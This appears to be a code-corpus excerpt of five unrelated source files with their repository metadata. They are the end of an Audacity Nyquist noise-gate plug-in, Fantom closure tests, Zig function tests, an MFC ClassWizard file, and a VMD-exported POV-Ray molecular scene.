(defun round-up (num)
(round (+ num 0.5)))
(defun roundn (num places)
;; Return number rounded to specified decimal places.
(if (= places 0)
(round num)
(let* ((x (format NIL "~a" places))
(ff (strcat "%#1." x "f")))
(setq *float-format* ff)
(format NIL "~a" num))))
(defun format-time (s)
;;; format time in seconds as h m.
(let* ((hh (truncate (/ s 3600)))
(mm (truncate (/ s 60))))
;i18n-hint: hours and minutes. Do not translate "~a".
(format nil (_ "~ah ~am") hh (- mm (* hh 60)))))
;;; Gate Functions
(defun noisegate (sig follow)
;; Takes a sound and a 'follow' sound as arguments.
;; Returns the gated audio.
(let ((gain (/ (- 1 (* silence-flag floor)))) ; silence-flag is 0 or 1.
(env (get-env follow)))
(if (> gate-freq 20)
(let* ((high (highpass8 sig gate-freq))
(low (lowpass8 sig (* 0.91 gate-freq)))) ;magic number 0.91 improves crossover.
(sim (mult high gain env) low))
(mult sig gain env))))
(defun get-env (follow)
;; Return gate's envelope
(let* ((gate-env (gate follow lookahead attack decay floor threshold))
(gate-env (clip gate-env 1.0))) ;gain must not exceed unity.
(diff gate-env (* silence-flag floor))))
(defun peak-follower (sig)
;; Return signal that gate will follow.
(setf sig (multichan-expand #'snd-abs sig))
(when (and (arrayp sig)(= stereo-link 0))
(setf sig (s-max (aref sig 0) (aref sig 1))))
(if (> hold 0)
(multichan-expand #'snd-oneshot sig threshold hold)
sig))
(defun process ()
(error-check)
;; For stereo tracks, 'peak-follower' may return a sound
;; or array of sounds, so pass it to 'noisegate' rather than
;; calculating in 'noisegate'.
(multichan-expand #' noisegate *track* (peak-follower *track*)))
;; Run program
(case mode
(0 (catch 'err (process)))
(T (analyze *track*)))
| Common Lisp | 5 | joshrose/audacity | plug-ins/noisegate.ny | [
"CC-BY-3.0"
] |
//
// Copyright (c) 2006, Brian Frank and Andy Frank
// Licensed under the Academic Free License version 3.0
//
// History:
// 4 Mar 06 Brian Frank Creation
//
//using concurrent
**
** ClosureTest
**
class ClosureTest : Test
{
//////////////////////////////////////////////////////////////////////////
// Play
//////////////////////////////////////////////////////////////////////////
/*
Void testPlay()
{
{ echo("hello") }.call
}
*/
//////////////////////////////////////////////////////////////////////////
// Immutable
//////////////////////////////////////////////////////////////////////////
Void testImmutable()
{
x := 2
y := 3
in := StrBuf()//"foo".in
c := ClosureInConst()
Obj? xObj := x
Obj? inObj := in
Obj cObj := c
Int? m := 3
verifyAlwaysImmutable |->| { echo("foo") }
verifyAlwaysImmutable |->|{ echo(x) }
verifyAlwaysImmutable |->|{ echo("$x, $y") }
verifyAlwaysImmutable(c.f)
verifyNeverImmutable |->| { echo(this) }
verifyNeverImmutable |->| { echo(in) }
verifyNeverImmutable |->| { echo("$this, $in") }
verifyNeverImmutable |->| { m += 1 }
verifyNeverImmutable |->| { echo(m) } // b/c of above
verifyMaybeImmutable(true) |->| { echo(xObj) }
verifyMaybeImmutable(true) |->| { echo(cObj) }
verifyMaybeImmutable(false) |->| { echo(inObj) }
}
Void testImmutableList()
{
list := [0, 1, 2]
f := |->Obj| { list }
|->Obj| g := f.toImmutable
verifyEq(f.isImmutable, false); verifyEq(f(), [0, 1, 2])
verifyEq(g.isImmutable, true); verifyEq(g(), [0, 1, 2])
list.add(3)
verifyEq(f(), [0, 1, 2, 3])
verifyEq(g(), [0, 1, 2])
verifyEq(g()->isImmutable, true)
}
Void verifyAlwaysImmutable(Func f)
{
verifyEq(f.isImmutable, true)
verifySame(f.toImmutable, f)
}
Void verifyNeverImmutable(Func f)
{
verifyEq(f.isImmutable, false)
verifyErr(NotImmutableErr#) { f.toImmutable }
}
Void verifyMaybeImmutable(Bool ok, Func f)
{
verifyEq(f.isImmutable, false)
if (ok)
{
g := f.toImmutable
verifyNotSame(f, g)
verifyEq(g.isImmutable, true)
}
else
{
verifyErr(NotImmutableErr#) { f.toImmutable }
}
}
//////////////////////////////////////////////////////////////////////////
// Func Fields
//////////////////////////////////////////////////////////////////////////
Void testFuncFields()
{
verifyEq(ClosureFieldA().f.call, 1972)
verifyErr(NotImmutableErr#) { ClosureFieldB().f.call }
}
//////////////////////////////////////////////////////////////////////////
// Param Cvars
//////////////////////////////////////////////////////////////////////////
Void testParamCvars()
{
verifyEq(paramCvars1(0), "3")
verifyEq(paramCvars1(4), "7")
verifyEq(paramCvars2(0, 0), "3,-3")
verifyEq(paramCvars2(-3, 3), "0,0")
verifyEq(paramCvars3("a", "b", "c"), "clear0101,b0101,reset01")
}
Str paramCvars1(Int x)
{
3.times( |Int i| { x++ } )
return x.toStr
}
Str paramCvars2(Int x, Int y)
{
3.times( |Int i| { x++; y--; } )
return x.toStr + "," + y.toStr
}
Str paramCvars3(Str x, Str y, Str z)
{
x = "clear"
2.times( |Int i| { x = x+i.toStr; y = y+i.toStr; z =z+i.toStr } )
z = "reset"
2.times( |Int i| { x = x+i.toStr; y = y+i.toStr; z =z+i.toStr } )
return x + "," + y + "," + z
}
//////////////////////////////////////////////////////////////////////////
// Local Cvars
//////////////////////////////////////////////////////////////////////////
Void testLocalCvars()
{
x := 2
y := 1
3.times( |Int i| { x += y } )
verifyEq(x, 5)
Func m := |->| { x += y }
verifyEq(x, 5)
m.call
verifyEq(x, 6)
y = -6
m.call
verifyEq(x, 0)
x = 0; y = 1
5.times( |Int i| { m.call } )
verifyEq(x, 5)
// this reproduces a bug found by Andy
if (true)
{
first := false
3.times |Int foobar|
{
if (first) first = false
}
}
}
//////////////////////////////////////////////////////////////////////////
// Static Self
//////////////////////////////////////////////////////////////////////////
Void testStaticSelf()
{
loc := "local+"
// static field, no locals
verifyEq(|->Str| { return sx }.call, "dora")
// static method, no locals
verifyEq(|->Str| { return sm }.call, "wiggles")
verifyEq(|->Str| { return sm() }.call, "wiggles")
verifyEq(|->Str| { return sm("!") }.call, "wiggles!")
// static field, with locals
verifyEq(|->Str| { return loc+sx }.call, "local+dora")
// static method, with locals
verifyEq(|->Str| { return loc+sm }.call, "local+wiggles")
// change local
m := |->Str| { return loc+sx }
verifyEq(m.call, "local+dora")
loc = "new local+";
verifyEq(m.call, "new local+dora")
}
const static Str sx := "dora";
static Str sm(Str append := "") { return "wiggles"+append }
//////////////////////////////////////////////////////////////////////////
// Instance Self
//////////////////////////////////////////////////////////////////////////
Void testInstanceSelf()
{
loc := "local+"
// instance field, no locals
verifyEq(|->Str| { return ix }.call, "blue")
// instance method, no locals
verifyEq(|->Str| { return im }.call, "higgleytown 0")
verifyEq(|->Str| { return im() }.call, "higgleytown 0")
verifyEq(|->Str| { return im(7) }.call, "higgleytown 7")
// instance field, with locals
verifyEq(|->Str| { return loc+ix }.call, "local+blue")
// instance method, with locals
verifyEq(|->Str| { return loc+im }.call, "local+higgleytown 0")
verifyEq(|->Str| { return loc+im() }.call, "local+higgleytown 0")
verifyEq(|->Str| { return loc+im(6) }.call, "local+higgleytown 6")
// change local
m := |->Str| { return loc+ix }
verifyEq(m.call, "local+blue")
loc = "new local+";
verifyEq(m.call, "new local+blue")
}
Str ix := "blue";
Str im(Int n := 0) { return "higgleytown "+n }
//////////////////////////////////////////////////////////////////////////
// Scope
//////////////////////////////////////////////////////////////////////////
Str name() { return "foobar" }
Void testScope()
{
verifyEq(|->Obj| { return name }.call, "foobar")
verifyEq(|->Obj| { return name() }.call, "foobar")
verifySame(|->Obj| { return this }.call, this)
verifySame(|->Obj| { return this.name }.call, "foobar")
verifySame(|->Obj| { return this.name() }.call, "foobar")
verifySame(|->Obj| { return isImmutable }.call, false)
verifySame(|->Obj| { return Type.of(this) }.call, Type.of(this))
}
//////////////////////////////////////////////////////////////////////////
// As Param
//////////////////////////////////////////////////////////////////////////
Void testAsParam()
{
list := [ 10, 20, 30 ]
n := 0
// inside
n = 0; list.each( |Int x| { n += x } ); verifyEq(n, 60);
// outside with paren
n = 0; list.each() |Int x| { n += x }; verifyEq(n, 60);
// outside without paren
n = 0; list.each |Int x| { n += x }; verifyEq(n, 60);
}
//////////////////////////////////////////////////////////////////////////
// Calls
//////////////////////////////////////////////////////////////////////////
Void testCalls()
{
f := |Int a, Int b, Int c->Int[]| { return [a, b, c] }
verifyEq(f.call(1, 2, 3), [1, 2, 3])
verifyEq(f.callList([1, 2, 3]), [1, 2, 3])
verifyEq(f.callList([1, 2, 3, 4]), [1, 2, 3])
verifyEq(f.callOn(1, [2, 3, 4]), [1, 2, 3])
}
//////////////////////////////////////////////////////////////////////////
// Closures in Once
//////////////////////////////////////////////////////////////////////////
Void testOnce()
{
s := onceIt
verify(s.endsWith(" 0 1 2"))
//Actor.sleep(10ms)
verifyEq(onceIt, s)
verifyEq(onceAgain, "(A,B)(a,b)")
}
once Str onceIt()
{
s := StrBuf.make.add(TimePoint.now)
3.times |Int i| { s.add(" $i") }
return s.toStr
}
once Str onceAgain()
{
Str r := ""
a := "A"
b := "B"
f := |->| { r = r + "(" + a + "," + b + ")" }
f()
a = "a"
b = "b"
f()
return r
}
//////////////////////////////////////////////////////////////////////////
// This In Closure
//////////////////////////////////////////////////////////////////////////
Void testThis()
{
str := this.toStr
x := ""
f := |->|
{
x = this.toStr
verifyEq(toStr, str)
verifyEq(this.toStr, str)
verifyEq(Type.of(this), ClosureTest#)
}
f()
verifyEq(x, str)
}
//////////////////////////////////////////////////////////////////////////
// Builder Test
//////////////////////////////////////////////////////////////////////////
Void testBuilderTest()
{
verifyEq(buildTest { x="x"; y="y"}, ["x", "y"])
verifyEq(buildTest { it.x="x" }, ["x", ""])
}
static Str[] buildTest(|TestBuilder| f)
{
b := TestBuilder()
f(b)
return [b.x, b.y]
}
//////////////////////////////////////////////////////////////////////////
// Nested Test
//////////////////////////////////////////////////////////////////////////
Void testNested()
{
v := 'v'
f := |->Int[]|
{
Int? w := null
g := |->Int[]|
{
w = 'w'
x := 'x'
h := |->Int[]|
{
y := 99
i := |->Int[]|
{
j := |->Int[]|
{
y = 'y'
z := 'z'
return [v, w, x, y, z]
}
return j()
}
return i()
}
return h()
}
return g()
}
verifyEq(f(), Int?['v', 'w', 'x', 'y', 'z'])
}
}
**************************************************************************
** Classes
**************************************************************************
class ClosureFieldA
{
const |->Int| f := |->Int| { return 1972 } // ok
}
class ClosureFieldB
{
const |->Str| f := |->Str| { return toStr } // uses this
}
const class ClosureInConst
{
Func f() { |->| { echo(this) } }
}
**************************************************************************
** TestBuilder
**************************************************************************
class TestBuilder
{
Str x := ""
Str y := ""
} | Fantom | 5 | fanx-dev/fanx | library/testSys/fan/lang/ClosureTest.fan | [
"AFL-3.0"
] |
const std = @import("std");
const builtin = @import("builtin");
const testing = std.testing;
const expect = testing.expect;
const expectEqual = testing.expectEqual;
test "void parameters" {
try voidFun(1, void{}, 2, {});
}
fn voidFun(a: i32, b: void, c: i32, d: void) !void {
_ = d;
const v = b;
const vv: void = if (a == 1) v else {};
try expect(a + c == 3);
return vv;
}
test "call function with empty string" {
acceptsString("");
}
fn acceptsString(foo: []u8) void {
_ = foo;
}
test "function pointers" {
const fns = [_]@TypeOf(fn1){
fn1,
fn2,
fn3,
fn4,
};
for (fns) |f, i| {
try expect(f() == @intCast(u32, i) + 5);
}
}
fn fn1() u32 {
return 5;
}
fn fn2() u32 {
return 6;
}
fn fn3() u32 {
return 7;
}
fn fn4() u32 {
return 8;
}
test "number literal as an argument" {
try numberLiteralArg(3);
comptime try numberLiteralArg(3);
}
fn numberLiteralArg(a: anytype) !void {
try expect(a == 3);
}
test "function call with anon list literal" {
const S = struct {
fn doTheTest() !void {
try consumeVec(.{ 9, 8, 7 });
}
fn consumeVec(vec: [3]f32) !void {
try expect(vec[0] == 9);
try expect(vec[1] == 8);
try expect(vec[2] == 7);
}
};
try S.doTheTest();
comptime try S.doTheTest();
}
test "ability to give comptime types and non comptime types to same parameter" {
const S = struct {
fn doTheTest() !void {
var x: i32 = 1;
try expect(foo(x) == 10);
try expect(foo(i32) == 20);
}
fn foo(arg: anytype) i32 {
if (@typeInfo(@TypeOf(arg)) == .Type and arg == i32) return 20;
return 9 + arg;
}
};
try S.doTheTest();
comptime try S.doTheTest();
}
test "function with inferred error set but returning no error" {
const S = struct {
fn foo() !void {}
};
const return_ty = @typeInfo(@TypeOf(S.foo)).Fn.return_type.?;
try expectEqual(0, @typeInfo(@typeInfo(return_ty).ErrorUnion.error_set).ErrorSet.?.len);
}
| Zig | 5 | silversquirl/zig | test/behavior/fn_stage1.zig | [
"MIT"
] |
; CLW file contains information for the MFC ClassWizard
[General Info]
Version=1
LastClass=CAboutDlg
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "server.h"
LastPage=0
ClassCount=9
Class1=CServerApp
Class2=CServerDoc
Class3=CServerView
Class4=CMainFrame
Class9=CAboutDlg
ResourceCount=2
Resource1=IDR_MAINFRAME
Resource2=IDD_ABOUTBOX
[CLS:CServerApp]
Type=0
HeaderFile=server.h
ImplementationFile=server.cpp
Filter=N
[CLS:CServerDoc]
Type=0
HeaderFile=serverDoc.h
ImplementationFile=serverDoc.cpp
Filter=N
[CLS:CServerView]
Type=0
HeaderFile=serverView.h
ImplementationFile=serverView.cpp
Filter=C
[CLS:CMainFrame]
Type=0
HeaderFile=MainFrm.h
ImplementationFile=MainFrm.cpp
Filter=T
[CLS:CAboutDlg]
Type=0
HeaderFile=server.cpp
ImplementationFile=server.cpp
Filter=D
[DLG:IDD_ABOUTBOX]
Type=1
Class=CAboutDlg
ControlCount=4
Control1=IDC_STATIC,static,1342177283
Control2=IDC_STATIC,static,1342308480
Control3=IDC_STATIC,static,1342308352
Control4=IDOK,button,1342373889
[MNU:IDR_MAINFRAME]
Type=1
Class=CMainFrame
Command1=ID_FILE_NEW
Command2=ID_FILE_OPEN
Command3=ID_FILE_SAVE
Command4=ID_FILE_SAVE_AS
Command5=ID_FILE_PRINT
Command6=ID_FILE_PRINT_PREVIEW
Command7=ID_FILE_PRINT_SETUP
Command8=ID_FILE_MRU_FILE1
Command9=ID_APP_EXIT
Command10=ID_EDIT_UNDO
Command11=ID_EDIT_CUT
Command12=ID_EDIT_COPY
Command13=ID_EDIT_PASTE
Command14=ID_VIEW_TOOLBAR
Command15=ID_VIEW_STATUS_BAR
Command16=ID_APP_ABOUT
CommandCount=16
[ACL:IDR_MAINFRAME]
Type=1
Class=CMainFrame
Command1=ID_FILE_NEW
Command2=ID_FILE_OPEN
Command3=ID_FILE_SAVE
Command4=ID_FILE_PRINT
Command5=ID_EDIT_UNDO
Command6=ID_EDIT_CUT
Command7=ID_EDIT_COPY
Command8=ID_EDIT_PASTE
Command9=ID_EDIT_UNDO
Command10=ID_EDIT_CUT
Command11=ID_EDIT_COPY
Command12=ID_EDIT_PASTE
Command13=ID_NEXT_PANE
Command14=ID_PREV_PANE
CommandCount=14
[TB:IDR_MAINFRAME]
Type=1
Class=?
Command1=ID_FILE_NEW
Command2=ID_FILE_OPEN
Command3=ID_FILE_SAVE
Command4=ID_EDIT_CUT
Command5=ID_EDIT_COPY
Command6=ID_EDIT_PASTE
Command7=ID_FILE_PRINT
Command8=ID_APP_ABOUT
CommandCount=8
| Clarion | 3 | cflowe/ACE | TAO/examples/mfc/server.clw | [
"DOC"
] |
// POV 3.x input script : plot.pov
// try povray +H834 +W669 -Iplot.pov -Oplot.pov.tga +P +X +A +FT +C
#if (version < 3.5)
#error "POV3DisplayDevice has been compiled for POV-Ray 3.5 or above.\nPlease upgrade POV-Ray or recompile VMD."
#end
#declare VMD_clip_on=array[3] {0, 0, 0};
#declare VMD_clip=array[3];
#declare VMD_scaledclip=array[3];
#declare VMD_line_width=0.0020;
#macro VMDC ( C1 )
texture { pigment { rgbt C1 }}
#end
#macro VMD_point (P1, R1, C1)
#local T = texture { finish { ambient 1.0 diffuse 0.0 phong 0.0 specular 0.0 } pigment { C1 } }
#if(VMD_clip_on[2])
intersection {
sphere {P1, R1 texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
VMD_clip[2]
}
#else
sphere {P1, R1 texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
#end
#macro VMD_line (P1, P2, C1)
#local T = texture { finish { ambient 1.0 diffuse 0.0 phong 0.0 specular 0.0 } pigment { C1 } }
#if(VMD_clip_on[2])
intersection {
cylinder {P1, P2, VMD_line_width texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
VMD_clip[2]
}
#else
cylinder {P1, P2, VMD_line_width texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
#end
#macro VMD_sphere (P1, R1, C1)
#local T = texture { pigment { C1 } }
#if(VMD_clip_on[2])
intersection {
sphere {P1, R1 texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
VMD_clip[2]
}
#else
sphere {P1, R1 texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
#end
#macro VMD_cylinder (P1, P2, R1, C1, O1)
#local T = texture { pigment { C1 } }
#if(VMD_clip_on[2])
intersection {
cylinder {P1, P2, R1 #if(O1) open #end texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
VMD_clip[2]
}
#else
cylinder {P1, P2, R1 #if(O1) open #end texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
#end
#macro VMD_cone (P1, P2, R1, C1)
#local T = texture { pigment { C1 } }
#if(VMD_clip_on[2])
intersection {
cone {P1, R1, P2, VMD_line_width texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
VMD_clip[2]
}
#else
cone {P1, R1, P2, VMD_line_width texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
#end
#macro VMD_triangle (P1, P2, P3, N1, N2, N3, C1)
#local T = texture { pigment { C1 } }
smooth_triangle {P1, N1, P2, N2, P3, N3 texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
#macro VMD_tricolor (P1, P2, P3, N1, N2, N3, C1, C2, C3)
#local NX = P2-P1;
#local NY = P3-P1;
#local NZ = vcross(NX, NY);
#local T = texture { pigment {
average pigment_map {
[1 gradient x color_map {[0 rgb 0] [1 C2*3]}]
[1 gradient y color_map {[0 rgb 0] [1 C3*3]}]
[1 gradient z color_map {[0 rgb 0] [1 C1*3]}]
}
matrix <1.01,0,1,0,1.01,1,0,0,1,-.002,-.002,-1>
matrix <NX.x,NX.y,NX.z,NY.x,NY.y,NY.z,NZ.x,NZ.y,NZ.z,P1.x,P1.y,P1.z>
} }
smooth_triangle {P1, N1, P2, N2, P3, N3 texture {T} #if(VMD_clip_on[1]) clipped_by {VMD_clip[1]} #end no_shadow}
#end
camera {
orthographic
location <0.0000, 0.0000, -2.0000>
look_at <-0.0000, -0.0000, 2.0000>
up <0.0000, 3.0000, 0.0000>
right <2.4065, 0.0000, 0.0000>
}
light_source {
<-0.1000, 0.1000, -1.0000>
color rgb<1.000, 1.000, 1.000>
parallel
point_at <0.0, 0.0, 0.0>
}
light_source {
<1.0000, 2.0000, -0.5000>
color rgb<1.000, 1.000, 1.000>
parallel
point_at <0.0, 0.0, 0.0>
}
background {
color rgb<0.350, 0.350, 0.350>
}
#default { texture {
finish { ambient 0.000 diffuse 0.650 phong 0.1 phong_size 40.000 specular 0.500 }
} }
#declare VMD_line_width=0.0020;
VMD_sphere(<-1.1052,-0.7721,0.3517>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<0.4449,-0.7541,1.0803>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<-1.0271,0.9263,0.1435>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<0.5230,0.9444,0.8721>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<-0.4670,-0.9673,-1.0013>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<1.0831,-0.9493,-0.2727>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<-0.3889,0.7312,-1.2095>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<1.1612,0.7492,-0.4809>,0.0171,rgbt<0.000,0.000,1.000,0.000>)
VMD_cylinder(<-1.10523164,-0.77210182,0.35171586>,<0.44492459,-0.75409073,1.08031237>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-1.10523164,-0.77210182,0.35171586>,<-1.02711689,0.92634386,0.14353366>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-1.10523164,-0.77210182,0.35171586>,<-0.46703351,-0.96729386,-1.00128531>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.44492459,-0.75409073,1.08031237>,<1.08312285,-0.94928282,-0.27268887>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-1.02711689,0.92634386,0.14353366>,<0.52303934,0.94435495,0.87213016>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.46703351,-0.96729386,-1.00128531>,<-0.38891882,0.73115176,-1.20946765>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.44492459,-0.75409073,1.08031237>,<0.52303934,0.94435495,0.87213016>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-1.02711689,0.92634386,0.14353366>,<-0.38891882,0.73115176,-1.20946765>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.46703351,-0.96729386,-1.00128531>,<1.08312285,-0.94928282,-0.27268887>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<1.16123736,0.74916285,-0.48087108>,<0.52303934,0.94435495,0.87213016>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<1.16123736,0.74916285,-0.48087108>,<1.08312285,-0.94928282,-0.27268887>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<1.16123736,0.74916285,-0.48087108>,<-0.38891882,0.73115176,-1.20946765>0.0170,rgbt<0.000,0.000,1.000,0.000>,1)
// MoleculeID: 0 ReprID: 0 Beginning CPK
// MoleculeID: 0 ReprID: 0 Beginning VDW
VMD_sphere(<-0.4998,0.0349,0.3265>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.1984,-0.2400,0.0444>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.0694,0.0967,0.5861>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.1200,0.2641,0.1218>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.2044,-0.2443,0.5062>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.1819,-0.1471,0.2103>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.2262,0.3760,0.4064>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.2602,0.1712,-0.0441>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.5582,-0.1088,-0.4486>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.2363,-0.2792,-0.1121>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.0060,-0.0602,-0.7218>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.0361,0.2180,-0.3123>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.2366,-0.3952,-0.5590>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.1358,-0.1951,-0.2997>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.3155,0.2264,-0.6115>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.3360,0.1339,-0.1246>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.5607,-0.0536,-0.4554>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.2593,0.2215,-0.1734>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.0086,-0.1153,-0.7150>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.0591,-0.2826,-0.2509>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.2651,0.2258,-0.6351>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.1209,0.1286,-0.3394>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.2869,-0.3946,-0.5354>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.3211,-0.1897,-0.0849>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.4973,0.0901,0.3198>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.1753,0.2606,-0.0170>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.0669,0.0415,0.5929>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.0970,-0.2366,0.1832>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.1758,0.3766,0.4301>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<0.1967,0.1765,0.1707>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.2547,-0.2449,0.4825>,0.0597,rgbt<1.000,0.000,0.000,0.000>)
VMD_sphere(<-0.2751,-0.1525,-0.0044>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.1931,0.0590,0.4094>,0.0546,rgbt<0.600,0.600,0.600,0.000>)
VMD_sphere(<-0.0553,0.0168,0.1171>,0.0609,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<0.2539,-0.0777,-0.5384>,0.0546,rgbt<0.600,0.600,0.600,0.000>)
VMD_sphere(<0.1161,-0.0356,-0.2461>,0.0609,rgbt<0.000,0.000,1.000,0.000>)
VMD_sphere(<-0.6545,0.0841,0.4408>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.8680,0.0816,0.3405>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.0766,0.0926,0.7844>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.2900,0.0951,0.8847>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.3074,-0.3121,0.6617>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.3182,-0.5460,0.6903>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.2706,0.4889,0.5635>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.2598,0.7227,0.5348>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.4068,-0.0911,-0.8955>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.3952,-0.0737,-0.7492>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.9507,-0.0753,-0.2575>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.8303,-0.0595,-0.1732>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.2377,-0.8268,-0.4854>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.1866,-0.7379,-0.3789>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.3061,0.6605,-0.6677>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.2484,0.6048,-0.5435>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.4676,0.0724,0.7666>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.4560,0.0550,0.6203>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.8898,0.0566,0.1286>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.7694,0.0408,0.0443>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.2454,-0.6791,0.5387>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.1877,-0.6234,0.4145>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.1770,0.8083,0.3564>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.1259,0.7193,0.2500>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.1625,-0.1432,-0.0015>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.1212,0.1559,0.0891>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.1076,-0.1400,0.1254>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.1489,0.1527,-0.0378>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.2097,-0.1713,-0.0911>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.0467,0.1215,-0.2543>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.0603,-0.1744,-0.2180>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.2233,0.1246,-0.1274>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.0307,-0.2029,0.0703>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
